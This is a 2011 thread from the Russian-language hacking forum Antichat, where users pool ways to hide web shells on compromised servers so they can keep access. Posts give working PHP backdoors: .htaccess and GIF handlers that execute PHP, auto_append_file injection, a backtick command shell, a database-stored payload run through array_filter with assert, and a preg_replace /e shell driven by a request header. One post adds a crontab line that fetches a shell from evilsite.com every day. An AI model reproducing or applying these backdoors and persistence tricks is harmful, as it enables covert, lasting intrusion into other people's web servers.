ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

14.10.2011, 11:54
|
|
Guest
Сообщений: n/a
Провел на форуме: 0
Репутация:
0
|
|
Собираю коллекцию способов, как спрятать шелл
1) Спрятать в .htaccess
# Override default deny rule to make .htaccess file accessible over web
Order allow,deny
Allow from all
# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess
###### SHELL ###### &1"); ?>###### LLEHS ######
domain/path/.htaccess?c=command
2) Аппенд ко всем скриптам php_value auto_append_file "/tmp/httpconf.tmp"
3) Спрятать в гиф
.htaccess
AddType application/x-httpd-php gif
4) Записать шелл в базу данных, в неприметную новость
Какие еще хорошие способы спрятать шелл, чтобы долго удержаться в системе?
|
|
|
|

14.10.2011, 12:05
|
|
Новичок
Регистрация: 21.02.2009
Сообщений: 3
Провел на форуме: 58401
Репутация:
0
|
|
echo `$_REQUEST[shell]`;
|
|
|

15.10.2011, 21:11
|
|
Новичок
Регистрация: 03.05.2009
Сообщений: 7
Провел на форуме: 102906
Репутация:
-14
|
|
1. Для начала разберем структуру команды crontab. Таблица crontab состоит из 6 колонок, разделяемых пробелами или табуляторами. Первые пять колонок задают время выполнения (Минута, Час, День, Месяц, День недели), в них может находиться число, список чисел, разделенных запятыми, диапазон чисел, разделенных тире, или символ ‘*’.
Все остальные символы в строке интерпретируются как выполняемая команда с ее параметрами.
2. Вероятно, на сервере нет поддержки псевдотерминала, поэтому создадим временный файл /tmp/cmd со следующим содержимым:
SHELL=/bin/bash 1 0 * * * wget http://evilsite.com/shell.txt -O /home/user/www/shell.php
3. Запускаем команду crontab /tmp/cmd.
4. Радуемся, ведь теперь в директории /var/spool/cron (может меняться в зависимости от системы) будет создан файл с именем пользователя, который будет каждый день, в 00 часов 01 минуту запускать команду wget, для скачивания нашего шелла.
мини-статья из журнала ][акер декабрь 2009 года.
|
|
|

15.10.2011, 23:01
|
|
Guest
Сообщений: n/a
Провел на форуме: 268
Репутация:
0
|
|
Сообщение от Cesto
Cesto said:
4) Записать шелл в базу данных, в неприметную новость
Вот об этом нельзя ли поподробней, плиз? Чаще всего в этом случае пхп код просто выводится на экран.
|
|
|
|

16.10.2011, 00:29
|
|
Guest
Сообщений: n/a
Провел на форуме: 262707
Репутация:
935
|
|
Сообщение от Proktolog
Proktolog said:
Вот об этом нельзя ли поподробней, плиз? Чаще всего в этом случае пхп код просто выводится на экран.
Для того что бы php код не выводился, а выполнялся, нужно использовать callback функции.
|
|
|
|

25.10.2011, 12:21
|
|
Guest
Сообщений: n/a
Провел на форуме: 488
Репутация:
0
|
|
Сообщение от Expl0ited
Expl0ited said:
Для того что бы php код не выводился, а выполнялся, нужно использовать
callback функции
.
Если не трудно,можно пример,как это выглядеть должно?
|
|
|
|

25.10.2011, 14:21
|
|
Guest
Сообщений: n/a
Провел на форуме: 262707
Репутация:
935
|
|
Сообщение от Mail2k
Mail2k said:
Если не трудно,можно пример,как это выглядеть должно?
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
В колонке `pass` - phpinfo(); в колонке `user` - assert, вот структура базы, для теста:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]CREATE TABLE[/COLOR][COLOR="#007700"]IF[/COLOR][COLOR="#0000BB"]NOT EXISTS[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]users[/COLOR][COLOR="#007700"]` (
`[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]int[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL AUTO_INCREMENT[/COLOR][COLOR="#007700"],
`[/COLOR][COLOR="#DD0000"]user[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]varchar[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]255[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL[/COLOR][COLOR="#007700"],
`[/COLOR][COLOR="#DD0000"]pass[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]varchar[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]255[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#0000BB"]PRIMARY KEY[/COLOR][COLOR="#007700"](`[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]`)
)[/COLOR][COLOR="#0000BB"]ENGINE[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]MyISAM[/COLOR][COLOR="#007700"]DEFAULT[/COLOR][COLOR="#0000BB"]CHARSET[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]utf8 AUTO_INCREMENT[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]INSERT INTO[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]users[/COLOR][COLOR="#007700"]` (`[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]`, `[/COLOR][COLOR="#DD0000"]user[/COLOR][COLOR="#007700"]`, `[/COLOR][COLOR="#DD0000"]pass[/COLOR][COLOR="#007700"]`)[/COLOR][COLOR="#0000BB"]VALUES
[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'assert'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'phpinfo();'[/COLOR][COLOR="#007700"]);
[/COLOR][/COLOR]
Т.е. логика у скрипта такая, если в _REQUEST['userlogin'] передаются данные, то скрипт обращается к базе и запрашивает из таблицы users две колонки user и pass у записи где id равен 1, и эти данные попадают в функцию array_filter которая возвращает данные отфильтрованные в соответствии с результатом функции обратного вызова, в качестве такой функции мы используем assert, которая может обработать строку как PHP код, в качестве этой строки у нас phpinfo(); что собственно и работает нам на руку.
|
|
|
|

25.10.2011, 14:53
|
|
Guest
Сообщений: n/a
Провел на форуме: 488
Репутация:
0
|
|
Сообщение от Expl0ited
Expl0ited said:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
В колонке `pass` - phpinfo(); в колонке `user` - assert, вот структура базы, для теста:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]CREATE TABLE[/COLOR][COLOR="#007700"]IF[/COLOR][COLOR="#0000BB"]NOT EXISTS[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]users[/COLOR][COLOR="#007700"]` (
`[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]int[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL AUTO_INCREMENT[/COLOR][COLOR="#007700"],
`[/COLOR][COLOR="#DD0000"]user[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]varchar[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]255[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL[/COLOR][COLOR="#007700"],
`[/COLOR][COLOR="#DD0000"]pass[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]varchar[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]255[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#0000BB"]PRIMARY KEY[/COLOR][COLOR="#007700"](`[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]`)
)[/COLOR][COLOR="#0000BB"]ENGINE[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]MyISAM[/COLOR][COLOR="#007700"]DEFAULT[/COLOR][COLOR="#0000BB"]CHARSET[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]utf8 AUTO_INCREMENT[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]INSERT INTO[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]users[/COLOR][COLOR="#007700"]` (`[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]`, `[/COLOR][COLOR="#DD0000"]user[/COLOR][COLOR="#007700"]`, `[/COLOR][COLOR="#DD0000"]pass[/COLOR][COLOR="#007700"]`)[/COLOR][COLOR="#0000BB"]VALUES
[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'assert'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'phpinfo();'[/COLOR][COLOR="#007700"]);
[/COLOR][/COLOR]
Т.е. логика у скрипта такая, если в _REQUEST['userlogin'] передаются данные, то скрипт обращается к базе и запрашивает из таблицы users две колонки user и pass у записи где id равен 1, и эти данные попадают в функцию array_filter которая возвращает данные отфильтрованные в соответствии с результатом
функции обратного вызова
, в качестве такой функции мы используем assert, которая может обработать строку как PHP код, в качестве этой строки у нас phpinfo(); что собственно и работает нам на руку.
если я правильно понял,то при данной схеме вместо какой-то определенной страницы на сайте будет загружаться вебшелл? Верно?
А можно ли к примеру сделать таким образом,чтобы при запросе опредленной страницы вебшел из базы записывался в какую-нибудь папку? И записывался бы только в случае,его отсутствия в этой папке.
|
|
|
|

25.10.2011, 14:56
|
|
Guest
Сообщений: n/a
Провел на форуме: 262707
Репутация:
935
|
|
Конечно можно. Пищу для размышлений и пример реализации я тебе дал.
|
|
|
|

30.10.2011, 02:27
|
|
Guest
Сообщений: n/a
Провел на форуме: 40748
Репутация:
78
|
|
А как вам такой вариант незаметного шелла?
Не каждый может заметить такой шелл.
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]preg_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/(.*)/e'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_REMOTE_ADDR'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]NULL[/COLOR][COLOR="#007700"]);
[/COLOR][/COLOR]
И отправляем пакет, в хеадер добавляем:
Код:
Code:
REMOTE_ADDR: phpinfo();
Единственное, нужно чтобы флаг e был разрешен, по дефолту — разрешен.
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|